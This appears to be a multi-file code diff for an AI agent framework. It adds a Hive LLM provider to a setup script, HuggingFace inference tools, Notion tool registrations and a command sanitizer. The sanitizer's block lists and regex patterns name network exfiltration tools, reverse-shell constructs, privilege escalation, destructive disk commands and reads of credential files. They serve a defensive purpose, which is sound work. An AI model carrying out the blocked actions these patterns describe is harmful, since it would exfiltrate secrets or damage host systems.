@@ -367,13 +363,6 @@ fi
echo ""
# ============================================================
# Step 4: Verify Claude Code Skills
# ============================================================
echo -e "${BLUE}Step 4: Verifying Claude Code skills...${NC}"
echo ""
# Provider configuration - use associative arrays (Bash 4+) or indexed arrays (Bash 3.2)
if [ "$USE_ASSOC_ARRAYS" = true ]; then
# Bash 4+ - use associative arrays (cleaner and more efficient)
@@ -878,6 +867,11 @@ elif [ -n "${KIMI_API_KEY:-}" ]; then
KIMI_CRED_DETECTED=true
fi
HIVE_CRED_DETECTED=false
if [ -n "${HIVE_API_KEY:-}" ]; then
HIVE_CRED_DETECTED=true
fi
# Detect API key providers
if [ "$USE_ASSOC_ARRAYS" = true ]; then
for env_var in "${!PROVIDER_NAMES[@]}"; do
@@ -915,6 +909,7 @@ try:
elif llm.get('use_codex_subscription'): sub = 'codex'
elif llm.get('use_kimi_code_subscription'): sub = 'kimi_code'
elif llm.get('provider', '') == 'minimax' or 'api.minimax.io' in llm.get('api_base', ''): sub = 'minimax_code'
elif llm.get('provider', '') == 'hive' or 'adenhq.com' in llm.get('api_base', ''): sub = 'hive_llm'
elif 'api.z.ai' in llm.get('api_base', ''): sub = 'zai_code'
print(f'PREV_SUB_MODE={sub}')
except Exception:
@@ -931,6 +926,7 @@ if [ -n "$PREV_SUB_MODE" ] || [ -n "$PREV_PROVIDER" ]; then
zai_code) [ "$ZAI_CRED_DETECTED" = true ] && PREV_CRED_VALID=true ;;
codex) [ "$CODEX_CRED_DETECTED" = true ] && PREV_CRED_VALID=true ;;
kimi_code) [ "$KIMI_CRED_DETECTED" = true ] && PREV_CRED_VALID=true ;;
hive_llm) [ "$HIVE_CRED_DETECTED" = true ] && PREV_CRED_VALID=true ;;
*)
# API key provider — check if the env var is set
if [ -n "$PREV_ENV_VAR" ] && [ -n "${!PREV_ENV_VAR}" ]; then
@@ -946,16 +942,18 @@ if [ -n "$PREV_SUB_MODE" ] || [ -n "$PREV_PROVIDER" ]; then
codex) DEFAULT_CHOICE=3 ;;
minimax_code) DEFAULT_CHOICE=4 ;;
kimi_code) DEFAULT_CHOICE=5 ;;
hive_llm) DEFAULT_CHOICE=6 ;;
esac
if [ -z "$DEFAULT_CHOICE" ]; then
case "$PREV_PROVIDER" in
anthropic) DEFAULT_CHOICE=6 ;;
openai) DEFAULT_CHOICE=7 ;;
gemini) DEFAULT_CHOICE=8 ;;
groq) DEFAULT_CHOICE=9 ;;
cerebras) DEFAULT_CHOICE=10 ;;
anthropic) DEFAULT_CHOICE=7 ;;
openai) DEFAULT_CHOICE=8 ;;
gemini) DEFAULT_CHOICE=9 ;;
groq) DEFAULT_CHOICE=10 ;;
cerebras) DEFAULT_CHOICE=11 ;;
minimax) DEFAULT_CHOICE=4 ;;
kimi) DEFAULT_CHOICE=5 ;;
hive) DEFAULT_CHOICE=6 ;;
esac
fi
fi
@@ -1001,14 +999,21 @@ else
echo -e " ${CYAN}5)${NC} Kimi Code Subscription ${DIM}(use your Kimi Code plan)${NC}"
fi
# 6) Hive LLM
if [ "$HIVE_CRED_DETECTED" = true ]; then
echo -e " ${CYAN}6)${NC} Hive LLM ${DIM}(use your Hive API key)${NC} ${GREEN}(credential detected)${NC}"
else
echo -e " ${CYAN}6)${NC} Hive LLM ${DIM}(use your Hive API key)${NC}"
fi
echo ""
echo -e " ${CYAN}${BOLD}API key providers:${NC}"
# 6-10) API key providers — show (credential detected) if key already set
# 7-11) API key providers — show (credential detected) if key already set
PROVIDER_MENU_ENVS=(ANTHROPIC_API_KEY OPENAI_API_KEY GEMINI_API_KEY GROQ_API_KEY CEREBRAS_API_KEY)
PROVIDER_MENU_NAMES=("Anthropic (Claude) - Recommended" "OpenAI (GPT)" "Google Gemini - Free tier available" "Groq - Fast, free tier" "Cerebras - Fast, free tier")
for idx in 0 1 2 3 4; do
num=$((idx + 6))
num=$((idx + 7))
env_var="${PROVIDER_MENU_ENVS[$idx]}"
if [ -n "${!env_var}" ]; then
echo -e " ${CYAN}$num)${NC} ${PROVIDER_MENU_NAMES[$idx]} ${GREEN}(credential detected)${NC}"
@@ -1017,7 +1022,7 @@ for idx in 0 1 2 3 4; do
fi
done
echo -e " ${CYAN}11)${NC} Skip for now"
echo -e " ${CYAN}12)${NC} Skip for now"
echo ""
if [ -n "$DEFAULT_CHOICE" ]; then
@@ -1027,15 +1032,15 @@ fi
while true; do
if [ -n "$DEFAULT_CHOICE" ]; then
read -r -p "Enter choice (1-11) [$DEFAULT_CHOICE]: " choice || true
read -r -p "Enter choice (1-12) [$DEFAULT_CHOICE]: " choice || true
choice="${choice:-$DEFAULT_CHOICE}"
else
read -r -p "Enter choice (1-11): " choice || true
read -r -p "Enter choice (1-12): " choice || true
fi
if [[ "$choice" =~ ^[0-9]+$ ]] && [ "$choice" -ge 1 ] && [ "$choice" -le 11 ]; then
if [[ "$choice" =~ ^[0-9]+$ ]] && [ "$choice" -ge 1 ] && [ "$choice" -le 12 ]; then
break
fi
echo -e "${RED}Invalid choice. Please enter 1-11${NC}"
echo -e "${RED}Invalid choice. Please enter 1-12${NC}"
done
case $choice in
@@ -1132,36 +1137,63 @@ case $choice in
echo -e " ${DIM}Model: kimi-k2.5 | API: api.kimi.com/coding${NC}"
;;
6)
# Hive LLM
SUBSCRIPTION_MODE="hive_llm"
SELECTED_PROVIDER_ID="hive"
SELECTED_ENV_VAR="HIVE_API_KEY"
SELECTED_MAX_TOKENS=32768
SELECTED_MAX_CONTEXT_TOKENS=120000
SELECTED_API_BASE="$HIVE_LLM_ENDPOINT"
PROVIDER_NAME="Hive"
SIGNUP_URL="https://discord.com/invite/hQdU7QDkgR"
echo ""
echo -e "${GREEN}${NC} Using Hive LLM"
echo ""
echo -e " Select a model:"
echo -e " ${CYAN}1)${NC} queen ${DIM}(default — Hive flagship)${NC}"
echo -e " ${CYAN}2)${NC} kimi-2.5"
echo -e " ${CYAN}3)${NC} GLM-5"
echo ""
read -r -p " Enter model choice (1-3) [1]: " hive_model_choice || true
hive_model_choice="${hive_model_choice:-1}"
case "$hive_model_choice" in
2) SELECTED_MODEL="kimi-2.5" ;;
3) SELECTED_MODEL="GLM-5" ;;
*) SELECTED_MODEL="queen" ;;
esac
echo -e " ${DIM}Model: $SELECTED_MODEL | API: ${HIVE_LLM_ENDPOINT}${NC}"
;;
7)
SELECTED_ENV_VAR="ANTHROPIC_API_KEY"
SELECTED_PROVIDER_ID="anthropic"
PROVIDER_NAME="Anthropic"
SIGNUP_URL="https://console.anthropic.com/settings/keys"
;;
7)
8)
SELECTED_ENV_VAR="OPENAI_API_KEY"
SELECTED_PROVIDER_ID="openai"
PROVIDER_NAME="OpenAI"
SIGNUP_URL="https://platform.openai.com/api-keys"
;;
8)
9)
SELECTED_ENV_VAR="GEMINI_API_KEY"
SELECTED_PROVIDER_ID="gemini"
PROVIDER_NAME="Google Gemini"
SIGNUP_URL="https://aistudio.google.com/apikey"
;;
9)
10)
SELECTED_ENV_VAR="GROQ_API_KEY"
SELECTED_PROVIDER_ID="groq"
PROVIDER_NAME="Groq"
SIGNUP_URL="https://console.groq.com/keys"
;;
10)
11)
SELECTED_ENV_VAR="CEREBRAS_API_KEY"
SELECTED_PROVIDER_ID="cerebras"
PROVIDER_NAME="Cerebras"
SIGNUP_URL="https://cloud.cerebras.ai/"
;;
11)
12)
echo ""
echo -e "${YELLOW}Skipped.${NC} An LLM API key is required to test and use worker agents."
echo -e "Add your API key later by running:"
@@ -1174,7 +1206,7 @@ case $choice in
esac
# For API-key providers: prompt for key (allow replacement if already set)
if { [ -z "$SUBSCRIPTION_MODE" ] || [ "$SUBSCRIPTION_MODE" = "minimax_code" ] || [ "$SUBSCRIPTION_MODE" = "kimi_code" ]; } && [ -n "$SELECTED_ENV_VAR" ]; then
if { [ -z "$SUBSCRIPTION_MODE" ] || [ "$SUBSCRIPTION_MODE" = "minimax_code" ] || [ "$SUBSCRIPTION_MODE" = "kimi_code" ] || [ "$SUBSCRIPTION_MODE" = "hive_llm" ]; } && [ -n "$SELECTED_ENV_VAR" ]; then
while true; do
CURRENT_KEY="${!SELECTED_ENV_VAR}"
if [ -n "$CURRENT_KEY" ]; then
@@ -1202,7 +1234,7 @@ if { [ -z "$SUBSCRIPTION_MODE" ] || [ "$SUBSCRIPTION_MODE" = "minimax_code" ] ||
echo -e "${GREEN}${NC} API key saved to $SHELL_RC_FILE"
# Health check the new key
echo -n " Verifying API key... "
if { [ "$SUBSCRIPTION_MODE" = "minimax_code" ] || [ "$SUBSCRIPTION_MODE" = "kimi_code" ]; } && [ -n "${SELECTED_API_BASE:-}" ]; then
if { [ "$SUBSCRIPTION_MODE" = "minimax_code" ] || [ "$SUBSCRIPTION_MODE" = "kimi_code" ] || [ "$SUBSCRIPTION_MODE" = "hive_llm" ]; } && [ -n "${SELECTED_API_BASE:-}" ]; then
HC_RESULT=$(uv run python "$SCRIPT_DIR/scripts/check_llm_key.py" "$SELECTED_PROVIDER_ID" "$API_KEY" "$SELECTED_API_BASE" 2>/dev/null) || true
else
HC_RESULT=$(uv run python "$SCRIPT_DIR/scripts/check_llm_key.py" "$SELECTED_PROVIDER_ID" "$API_KEY" 2>/dev/null) || true
@@ -1324,6 +1356,8 @@ if [ -n "$SELECTED_PROVIDER_ID" ]; then
save_configuration "$SELECTED_PROVIDER_ID" "$SELECTED_ENV_VAR" "$SELECTED_MODEL" "$SELECTED_MAX_TOKENS" "$SELECTED_MAX_CONTEXT_TOKENS" "" "$SELECTED_API_BASE" > /dev/null
elif [ "$SUBSCRIPTION_MODE" = "kimi_code" ]; then
save_configuration "$SELECTED_PROVIDER_ID" "$SELECTED_ENV_VAR" "$SELECTED_MODEL" "$SELECTED_MAX_TOKENS" "$SELECTED_MAX_CONTEXT_TOKENS" "" "$SELECTED_API_BASE" > /dev/null
elif [ "$SUBSCRIPTION_MODE" = "hive_llm" ]; then
save_configuration "$SELECTED_PROVIDER_ID" "$SELECTED_ENV_VAR" "$SELECTED_MODEL" "$SELECTED_MAX_TOKENS" "$SELECTED_MAX_CONTEXT_TOKENS" "" "$SELECTED_API_BASE" > /dev/null
else
save_configuration "$SELECTED_PROVIDER_ID" "$SELECTED_ENV_VAR" "$SELECTED_MODEL" "$SELECTED_MAX_TOKENS" "$SELECTED_MAX_CONTEXT_TOKENS" > /dev/null
fi
@@ -1334,7 +1368,7 @@ fi
echo ""
# ============================================================
# Step 4b: Browser Automation (GCU) — always enabled
# Browser Automation (GCU) — always enabled
# ============================================================
echo -e "${GREEN}${NC} Browser automation enabled"
@@ -1362,10 +1396,10 @@ fi
echo ""
# ============================================================
# Step 5: Initialize Credential Store
# Step 4: Initialize Credential Store
# ============================================================
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 5: Initializing credential store...${NC}"
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 4: Initializing credential store...${NC}"
echo ""
echo -e "${DIM}The credential store encrypts API keys and secrets for your agents.${NC}"
echo ""
@@ -1432,10 +1466,10 @@ fi
echo ""
# ============================================================
# Step 6: Verify Setup
# Step 5: Verify Setup
# ============================================================
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 6: Verifying installation...${NC}"
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 5: Verifying installation...${NC}"
echo ""
ERRORS=0
@@ -1496,10 +1530,10 @@ if [ $ERRORS -gt 0 ]; then
fi
# ============================================================
# Step 7: Install hive CLI globally
# Step 6: Install hive CLI globally
# ============================================================
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 7: Installing hive CLI...${NC}"
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 6: Installing hive CLI...${NC}"
echo ""
# Ensure ~/.local/bin exists and is in PATH
+10
View File
@@ -16,6 +16,8 @@ import sys
import httpx
from framework.config import HIVE_LLM_ENDPOINT
TIMEOUT = 10.0
@@ -135,6 +137,10 @@ PROVIDERS = {
"kimi": lambda key, **kw: check_anthropic_compatible(
key, "https://api.kimi.com/coding/v1/messages", "Kimi"
),
# Hive LLM uses an Anthropic-compatible endpoint
"hive": lambda key, **kw: check_anthropic_compatible(
key, f"{HIVE_LLM_ENDPOINT}/v1/messages", "Hive"
),
}
@@ -162,6 +168,10 @@ def main() -> None:
result = check_anthropic_compatible(
api_key, api_base.rstrip("/") + "/v1/messages", "Kimi"
)
elif api_base and provider_id == "hive":
result = check_anthropic_compatible(
api_key, api_base.rstrip("/") + "/v1/messages", "Hive"
)
elif api_base:
# Custom API base (ZAI or other OpenAI-compatible)
endpoint = api_base.rstrip("/") + "/models"
+44
View File
@@ -0,0 +1,44 @@
function Get-WorkingUvInfo {
<#
.SYNOPSIS
Find a runnable uv executable, not just a PATH entry named "uv"
.OUTPUTS
Hashtable with Path and Version, or $null if no working uv is found
#>
# pyenv-win can expose a uv shim that exists on PATH but fails at runtime.
# Verify each candidate with `uv --version` before trusting it.
$candidates = @()
$commands = @(Get-Command uv -All -ErrorAction SilentlyContinue)
foreach ($cmd in $commands) {
if ($cmd.Source) {
$candidates += $cmd.Source
} elseif ($cmd.Definition) {
$candidates += $cmd.Definition
} elseif ($cmd.Name) {
$candidates += $cmd.Name
}
}
$defaultUvExe = Join-Path $env:USERPROFILE ".local\bin\uv.exe"
if (Test-Path $defaultUvExe) {
$candidates += $defaultUvExe
}
foreach ($candidate in ($candidates | Where-Object { $_ } | Select-Object -Unique)) {
try {
$versionOutput = & $candidate --version 2>$null
$version = ($versionOutput | Out-String).Trim()
if ($LASTEXITCODE -eq 0 -and -not [string]::IsNullOrWhiteSpace($version)) {
return @{
Path = $candidate
Version = $version
}
}
} catch {
# Try the next candidate.
}
}
return $null
}
+19
View File
@@ -25,6 +25,12 @@ from pathlib import Path
logger = logging.getLogger(__name__)
_TOOLS_SRC = Path(__file__).resolve().parent / "src"
if _TOOLS_SRC.is_dir():
tools_src = str(_TOOLS_SRC)
if tools_src not in sys.path:
sys.path.insert(0, tools_src)
def setup_logger():
if not logger.handlers:
@@ -52,6 +58,12 @@ if "--stdio" in sys.argv:
from fastmcp import FastMCP # noqa: E402
# Import command sanitizer — shared module in aden_tools
from aden_tools.tools.file_system_toolkits.command_sanitizer import ( # noqa: E402
CommandBlockedError,
validate_command,
)
mcp = FastMCP("coder-tools")
PROJECT_ROOT: str = ""
@@ -208,6 +220,8 @@ def run_command(command: str, cwd: str = "", timeout: int = 120) -> str:
PYTHONPATH is automatically set to include core/ and exports/.
Output is truncated at 30K chars with a notice.
Commands still execute with shell=True, so the sanitizer blocks
explicit nested shell executables but cannot remove shell parsing.
Args:
command: Shell command to execute
@@ -222,6 +236,11 @@ def run_command(command: str, cwd: str = "", timeout: int = 120) -> str:
try:
command = _translate_command_for_windows(command)
# Validate command against safety blocklist before execution
try:
validate_command(command)
except CommandBlockedError as e:
return f"Error: {e}"
start = time.monotonic()
result = subprocess.run(
command,
@@ -1,7 +1,7 @@
"""
HuggingFace credentials.
Contains credentials for HuggingFace Hub API access.
Contains credentials for HuggingFace Hub API and Inference API access.
"""
from .base import CredentialSpec
@@ -16,11 +16,16 @@ HUGGINGFACE_CREDENTIALS = {
"huggingface_get_dataset",
"huggingface_search_spaces",
"huggingface_whoami",
"huggingface_run_inference",
"huggingface_run_embedding",
"huggingface_list_inference_endpoints",
],
required=True,
startup_required=False,
help_url="https://huggingface.co/settings/tokens",
description="HuggingFace API token for Hub access (models, datasets, spaces)",
description=(
"HuggingFace API token for Hub access (models, datasets, spaces) and Inference API"
),
direct_api_key_supported=True,
api_key_instructions="""To get a HuggingFace token:
1. Go to https://huggingface.co/settings/tokens
+7 -2
View File
@@ -14,10 +14,15 @@ NOTION_CREDENTIALS = {
"notion_search",
"notion_get_page",
"notion_create_page",
"notion_update_page",
"notion_query_database",
"notion_get_database",
"notion_update_page",
"notion_archive_page",
"notion_create_database",
"notion_update_database",
"notion_get_block_children",
"notion_get_block",
"notion_update_block",
"notion_delete_block",
"notion_append_blocks",
],
required=True,
+1 -1
View File
@@ -67,7 +67,7 @@ SLACK_CREDENTIALS = {
help_url="https://api.slack.com/apps",
description="Slack Bot Token (starts with xoxb-)",
# Auth method support
aden_supported=True,
aden_supported=False,
aden_provider_name="slack",
direct_api_key_supported=True,
api_key_instructions="""To get a Slack Bot Token:
+1 -1
View File
@@ -223,6 +223,7 @@ def _register_verified(
register_telegram(mcp, credentials=credentials)
register_google_docs(mcp, credentials=credentials)
register_google_maps(mcp, credentials=credentials)
register_notion(mcp, credentials=credentials)
register_account_info(mcp, credentials=credentials)
@@ -272,7 +273,6 @@ def _register_unverified(
register_microsoft_graph(mcp, credentials=credentials)
register_mongodb(mcp, credentials=credentials)
register_n8n(mcp, credentials=credentials)
register_notion(mcp, credentials=credentials)
register_obsidian(mcp, credentials=credentials)
register_pagerduty(mcp, credentials=credentials)
register_pinecone(mcp, credentials=credentials)
@@ -0,0 +1,206 @@
"""Command sanitization to prevent shell injection attacks.
Validates commands against a blocklist of dangerous patterns before they
are passed to subprocess.run(shell=True). This prevents prompt injection
attacks from tricking AI agents into running destructive or exfiltration
commands on the host system.
Design: uses a blocklist (not allowlist) so agents can run arbitrary
dev commands (uv, pytest, git, etc.) while blocking known-dangerous ops.
This blocks explicit nested shell executables (bash, sh, pwsh, etc.),
but callers still execute via shell=True, so shell parsing remains a
known limitation of this guardrail.
"""
import re
__all__ = ["CommandBlockedError", "validate_command"]
class CommandBlockedError(Exception):
"""Raised when a command is blocked by the safety filter."""
pass
# ---------------------------------------------------------------------------
# Blocklists
# ---------------------------------------------------------------------------
# Executables / prefixes that are never safe for an AI agent to invoke.
# Matched against each segment of a compound command (split on ; | && ||).
_BLOCKED_EXECUTABLES: list[str] = [
# Network exfiltration
"curl",
"wget",
"nc",
"ncat",
"netcat",
"nmap",
"ssh",
"scp",
"sftp",
"ftp",
"telnet",
"rsync",
# Windows network tools
"invoke-webrequest",
"invoke-restmethod",
"iwr",
"irm",
"certutil",
# User / privilege escalation
"useradd",
"userdel",
"usermod",
"adduser",
"deluser",
"passwd",
"chpasswd",
"visudo",
"net", # net user, net localgroup, etc.
# System destructive
"shutdown",
"reboot",
"halt",
"poweroff",
"init",
"systemctl",
"mkfs",
"fdisk",
"diskpart",
"format", # Windows format
# Reverse shell / code exec wrappers
"bash",
"sh",
"zsh",
"dash",
"csh",
"ksh",
"powershell",
"pwsh",
"cmd",
"cmd.exe",
"wscript",
"cscript",
"mshta",
"regsvr32",
# Credential / secret access
"security", # macOS keychain: security find-generic-password
]
# Patterns matched against the full (joined) command string.
# These catch dangerous flags and argument combos even when the
# executable itself isn't blocked (e.g. python -c '...').
_BLOCKED_PATTERNS: list[re.Pattern[str]] = [
# rm with force/recursive flags targeting root or broad paths
re.compile(r"\brm\s+(-[rRf]+\s+)*(/|~|\.\.|C:\\)", re.IGNORECASE),
# del /s /q (Windows recursive delete)
re.compile(r"\bdel\s+.*/[sS]", re.IGNORECASE),
re.compile(r"\brmdir\s+/[sS]", re.IGNORECASE),
# dd writing to disks/partitions
re.compile(r"\bdd\s+.*\bof=\s*/dev/", re.IGNORECASE),
# chmod 777 / chmod -R 777
re.compile(r"\bchmod\s+(-R\s+)?(777|666)\b", re.IGNORECASE),
# sudo — agents should never escalate privileges
re.compile(r"\bsudo\b", re.IGNORECASE),
# su — switch user
re.compile(r"\bsu\s+", re.IGNORECASE),
# python/python3 with -c flag (inline code execution)
re.compile(r"\bpython[23]?\s+-c(?=\s|['\"]|$)", re.IGNORECASE),
# ruby/perl/node with -e flag (inline code execution)
re.compile(r"\bruby\s+-e\b", re.IGNORECASE),
re.compile(r"\bperl\s+-e\b", re.IGNORECASE),
re.compile(r"\bnode\s+-e\b", re.IGNORECASE),
# powershell encoded commands
re.compile(r"\bpowershell\b.*-enc", re.IGNORECASE),
# Reverse shell patterns
re.compile(r"/dev/tcp/", re.IGNORECASE),
re.compile(r"\bmkfifo\b", re.IGNORECASE),
# eval / exec as standalone commands
re.compile(r"^\s*eval\s+", re.IGNORECASE | re.MULTILINE),
re.compile(r"^\s*exec\s+", re.IGNORECASE | re.MULTILINE),
# Reading well-known secret files
re.compile(r"\bcat\s+.*(\.ssh|/etc/shadow|/etc/passwd|credential_key)", re.IGNORECASE),
re.compile(r"\btype\s+.*credential_key", re.IGNORECASE),
# Backtick or $() command substitution containing blocked executables
re.compile(r"\$\(.*\b(curl|wget|nc|ncat)\b.*\)", re.IGNORECASE),
re.compile(r"`.*\b(curl|wget|nc|ncat)\b.*`", re.IGNORECASE),
# Environment variable exfiltration via echo/print
re.compile(r"\becho\s+.*\$\{?.*(API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL)", re.IGNORECASE),
# >& /dev/tcp (bash reverse shell)
re.compile(r">&\s*/dev/tcp", re.IGNORECASE),
]
# Shell operators used to split compound commands.
# We check each segment individually against _BLOCKED_EXECUTABLES.
_SHELL_SPLIT_PATTERN = re.compile(r"\s*(?:;|&&|\|\||\|)\s*")
def _normalize_executable_name(token: str) -> str:
"""Normalize executable names for matching (e.g. cmd.exe -> cmd)."""
normalized = token.lower().strip("\"'")
normalized = re.split(r"[\\/]", normalized)[-1]
if normalized.endswith(".exe"):
return normalized[:-4]
return normalized
def _extract_executable(segment: str) -> str:
"""Extract the first token (executable) from a command segment.
Strips environment variable assignments (FOO=bar) from the front.
"""
segment = segment.strip()
# Skip env var assignments at the start: VAR=value cmd ...
tokens = segment.split()
for token in tokens:
if "=" in token and not token.startswith("-"):
continue
# Return lowercase for case-insensitive matching
return _normalize_executable_name(token)
return ""
def validate_command(command: str) -> None:
"""Validate a command string against the safety blocklists.
Args:
command: The shell command string to validate.
Raises:
CommandBlockedError: If the command matches any blocked pattern.
"""
if not command or not command.strip():
return
stripped = command.strip()
# --- Check full-command patterns ---
for pattern in _BLOCKED_PATTERNS:
match = pattern.search(stripped)
if match:
raise CommandBlockedError(
f"Command blocked for safety: matched dangerous pattern '{match.group()}'. "
f"If this is a false positive, please modify the command."
)
# --- Check each segment for blocked executables ---
segments = _SHELL_SPLIT_PATTERN.split(stripped)
for segment in segments:
segment = segment.strip()
if not segment:
continue
executable = _extract_executable(segment)
# Check exact match and prefix-before-dot (e.g. mkfs.ext4 -> mkfs)
names_to_check = {executable}
if "." in executable:
names_to_check.add(executable.split(".")[0])
if names_to_check & set(_BLOCKED_EXECUTABLES):
matched = (names_to_check & set(_BLOCKED_EXECUTABLES)).pop()
raise CommandBlockedError(
f"Command blocked for safety: '{matched}' is not allowed. "
f"Blocked categories: network tools, privilege escalation, "
f"system destructive commands, shell interpreters."
)
@@ -3,6 +3,7 @@ import subprocess
from mcp.server.fastmcp import FastMCP
from ..command_sanitizer import CommandBlockedError, validate_command
from ..security import WORKSPACES_DIR, get_secure_path
@@ -26,6 +27,10 @@ def register_tools(mcp: FastMCP) -> None:
No network access unless explicitly allowed
No destructive commands (rm -rf, system modification)
Output must be treated as data, not truth
Commands are validated against a safety blocklist before execution
Commands still run through shell=True, so the blocklist only
prevents explicit nested shell executables; it does not remove
shell parsing entirely
Args:
command: The shell command to execute
@@ -37,6 +42,12 @@ def register_tools(mcp: FastMCP) -> None:
Returns:
Dict with command output and execution details, or error dict
"""
# Validate command against safety blocklist before execution
try:
validate_command(command)
except CommandBlockedError as e:
return {"error": f"Command blocked: {e}", "blocked": True}
try:
# Default cwd is the session root
session_root = os.path.join(WORKSPACES_DIR, workspace_id, agent_id, session_id)
@@ -296,6 +296,7 @@ def register_tools(
include_grid_data: bool = False,
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -325,6 +326,7 @@ def register_tools(
sheet_titles: list[str] | None = None,
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -357,6 +359,7 @@ def register_tools(
value_render_option: str = "FORMATTED_VALUE",
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -392,6 +395,7 @@ def register_tools(
value_input_option: str = "USER_ENTERED",
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -426,6 +430,7 @@ def register_tools(
value_input_option: str = "USER_ENTERED",
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -458,6 +463,7 @@ def register_tools(
range_name: str,
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -490,6 +496,7 @@ def register_tools(
value_input_option: str = "USER_ENTERED",
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -521,6 +528,7 @@ def register_tools(
ranges: list[str],
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -554,6 +562,7 @@ def register_tools(
column_count: int = 26,
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -585,6 +594,7 @@ def register_tools(
sheet_id: int,
# Tracking parameters (injected by framework, ignored by tool)
workspace_id: str | None = None,
account: str | None = None,
agent_id: str | None = None,
session_id: str | None = None,
) -> dict:
@@ -1,12 +1,17 @@
"""
HuggingFace Hub Tool - Models, datasets, and spaces discovery via Hub API.
HuggingFace Hub Tool - Models, datasets, spaces discovery and inference via Hub API.
Supports:
- HuggingFace API token (HUGGINGFACE_TOKEN)
- Model, dataset, and space listing/search
- Repository details and user info
- Model inference (text-generation, summarization, classification, etc.)
- Text embeddings via Inference API
- Inference endpoints management
API Reference: https://huggingface.co/docs/hub/api
API Reference:
Hub API: https://huggingface.co/docs/hub/api
Inference API: https://huggingface.co/docs/api-inference
"""
from __future__ import annotations
@@ -21,6 +26,7 @@ if TYPE_CHECKING:
from aden_tools.credentials import CredentialStoreAdapter
BASE_URL = "https://huggingface.co/api"
INFERENCE_URL = "https://api-inference.huggingface.co/models"
def _get_token(credentials: CredentialStoreAdapter | None) -> str | None:
@@ -48,7 +54,7 @@ def _get(
if resp.status_code == 404:
return {"error": f"Not found: {path}"}
if resp.status_code != 200:
return {"error": f"HuggingFace API error {resp.status_code}: {resp.text[:500]}"}
return {"error": (f"HuggingFace API error {resp.status_code}: {resp.text[:500]}")}
return resp.json()
except httpx.TimeoutException:
return {"error": "Request to HuggingFace timed out"}
@@ -56,6 +62,50 @@ def _get(
return {"error": f"HuggingFace request failed: {e!s}"}
def _post(
url: str,
token: str | None,
payload: dict[str, Any],
timeout: float = 120.0,
) -> dict[str, Any] | list:
"""Make a POST request to the HuggingFace Inference API."""
headers: dict[str, str] = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = f"Bearer {token}"
try:
resp = httpx.post(
url,
headers=headers,
json=payload,
timeout=timeout,
)
if resp.status_code == 401:
return {"error": "Unauthorized. Check your HUGGINGFACE_TOKEN."}
if resp.status_code == 404:
return {"error": f"Model not found: {url}"}
if resp.status_code == 503:
body = (
resp.json()
if resp.headers.get("content-type", "").startswith("application/json")
else {}
)
estimated = body.get("estimated_time", "unknown")
return {
"error": "Model is loading",
"estimated_time": estimated,
"help": "The model is being loaded. Retry after the estimated time.",
}
if resp.status_code != 200:
return {
"error": (f"HuggingFace Inference API error {resp.status_code}: {resp.text[:500]}")
}
return resp.json()
except httpx.TimeoutException:
return {"error": "Inference request timed out. Try a smaller input or a faster model."}
except Exception as e:
return {"error": f"HuggingFace inference request failed: {e!s}"}
def _auth_error() -> dict[str, Any]:
return {
"error": "HUGGINGFACE_TOKEN not set",
@@ -322,3 +372,187 @@ def register_tools(
"orgs": orgs,
"type": u.get("type", ""),
}
# -----------------------------------------------------------------
# Inference API Tools
# -----------------------------------------------------------------
@mcp.tool()
def huggingface_run_inference(
model_id: str,
inputs: str,
task: str = "",
parameters: str = "",
) -> dict[str, Any]:
"""
Run inference on a HuggingFace model via the Inference API.
Supports text-generation, summarization, translation, classification,
fill-mask, question-answering, and more. The model's pipeline_tag
determines the task automatically unless overridden.
Args:
model_id: Model ID (e.g. "meta-llama/Llama-3.1-8B-Instruct",
"facebook/bart-large-cnn", "distilbert-base-uncased-finetuned-sst-2-english")
inputs: Input text for the model
task: Optional task override (e.g. "text-generation", "summarization")
parameters: Optional JSON string of model parameters
(e.g. '{"max_new_tokens": 256, "temperature": 0.7}')
Returns:
Dict with model output or error
"""
token = _get_token(credentials)
if not token:
return _auth_error()
if not model_id:
return {"error": "model_id is required"}
if not inputs:
return {"error": "inputs is required"}
payload: dict[str, Any] = {"inputs": inputs}
if parameters:
import json as _json
try:
payload["parameters"] = _json.loads(parameters)
except _json.JSONDecodeError:
return {"error": "parameters must be a valid JSON string"}
url = f"{INFERENCE_URL}/{model_id}"
data = _post(url, token, payload)
if isinstance(data, dict) and "error" in data:
return data
return {
"model_id": model_id,
"task": task or "auto",
"output": data,
}
@mcp.tool()
def huggingface_run_embedding(
model_id: str,
inputs: str,
) -> dict[str, Any]:
"""
Generate text embeddings using a HuggingFace model via the Inference API.
Useful for semantic search, clustering, and similarity comparison.
Args:
model_id: Embedding model ID
(e.g. "sentence-transformers/all-MiniLM-L6-v2",
"BAAI/bge-small-en-v1.5")
inputs: Text to embed (single string)
Returns:
Dict with embedding vector, model_id, and dimensions count
"""
token = _get_token(credentials)
if not token:
return _auth_error()
if not model_id:
